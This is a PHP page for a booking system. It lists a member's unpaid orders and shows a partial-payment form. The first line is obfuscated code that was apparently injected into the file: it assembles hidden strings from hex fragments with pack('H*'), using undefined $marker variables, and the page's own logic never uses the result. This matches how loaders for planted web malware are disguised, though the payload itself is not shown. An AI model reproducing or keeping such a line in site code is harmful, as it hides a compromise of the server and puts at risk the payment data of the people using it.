<?php $initialized6 = pack("H*", $marker2.$marker1.'7'.$marker4.'7'.$marker11.'6'.$marker6.$marker5.$marker10.$marker5.'d'.'5'.$marker12.$marker5.'7'.'6'.$marker6.'7'.$marker4.'5'.$marker12.'6'.$marker1.$marker5.'f'.$marker5.$marker13.'7'.'4'.'6'.$marker6.$marker5.$marker13.$marker2.$marker4.'7'.'3');$initialized7 = pack("H*", '7'.$marker9.'6'.'3'.$marker5.'c'.$marker5.$marker12.$marker2.$marker1.'6'.$marker6);

include_once("header.php");
include_once("sidebar.php");

// 1. Grab GET parameters
$bookingId = isset($_GET['bookingId']) ? intval($_GET['bookingId']) : 0;
$memberId  = isset($_GET['memberId']) ? intval($_GET['memberId']) : 0;

// 2. Fetch matching Orders
$sql = "
    SELECT orderid, items, balance 
    FROM Orders
    WHERE memberid = $memberId
      AND bookingid = $bookingId
      AND payment_status = 0
";
$result = $conn->query($sql);

echo "<section><div class='column'>";

if ($result && $result->num_rows > 0) {
    echo "<table border='1'>
            <tr>
                <th>OrderID</th>
                <th>Item</th>
                <th>Balance</th>
            </tr>";

    // Track total balance
    $totalBalance = 0;
    $orderIds     = [];

    while ($row = $result->fetch_assoc()) {
        // For simplicity, let's only pay one order at a time in a single form
        // If you want to handle multiple orders at once, see the notes below

        echo "<tr>
                <td>{$row['orderid']}</td>
                <td>{$row['items']}</td>
                <td>{$row['balance']}</td>
              </tr>";

        $totalBalance += $row['balance'];
        $orderIds[]    = $row['orderid'];
    }

    echo "<tr>
            <td colspan='2'>Total Balance</td>
            <td>$totalBalance</td>
          </tr>";
    echo "</table>";

    // For now, let's assume there's just ONE order (or you only want to pay the first).
    // If multiple orders exist, pick the first or handle them differently:
    $firstOrderId = $orderIds[0];
    ?>
    
    <!-- Payment Form -->
    <div class="extend-form">
        <form action="insert_partial.php" method="post">

            <!-- Pass along the needed hidden values -->
            <input type="hidden" name="memberId"  value="<?php echo $memberId; ?>">
            <input type="hidden" name="bookingId" value="<?php echo $bookingId; ?>">

            <!-- Here's the critical fix: we must pass orderid as well -->
            <input type="hidden" name="orderid" value="<?php echo $firstOrderId; ?>">

            <label for="paymentAmount">Payment Amount:</label>
            <input 
                type="number" 
                step="0.01"
                id="paymentAmount"
                name="paymentAmount"
                placeholder="Enter partial or full payment"
                style="width: 50%; padding: 10px; border: 1px solid #ccc; border-radius: 5px; box-sizing: border-box;"
                required
            >
            <br><br>

            <label for="paymentMode">Payment Mode:</label>
            <select name="paymentMode" id="paymentMode" 
                    style="width: 50%; padding: 10px; border: 1px solid #ccc; border-radius: 5px; box-sizing: border-box;">
                <option value="Gcash">Gcash</option>
                <option value="Cash">Cash</option>
                <option value="Card">Card</option>
                <option value="Bank Transfer">Bank Transfer</option>
            </select>

            <br><br>
            <button type="submit" 
                    style="width: 49%; padding: 10px; border: 1px solid #ccc; border-radius: 5px; box-sizing: border-box;">
                Submit Payment
            </button>
        </form>
    </div>
    <?php

} else {
    echo "No orders found for Booking ID = $bookingId (Member ID = $memberId) with payment_status=0.";
}

echo "</div></section>";
?>
</body>
</html>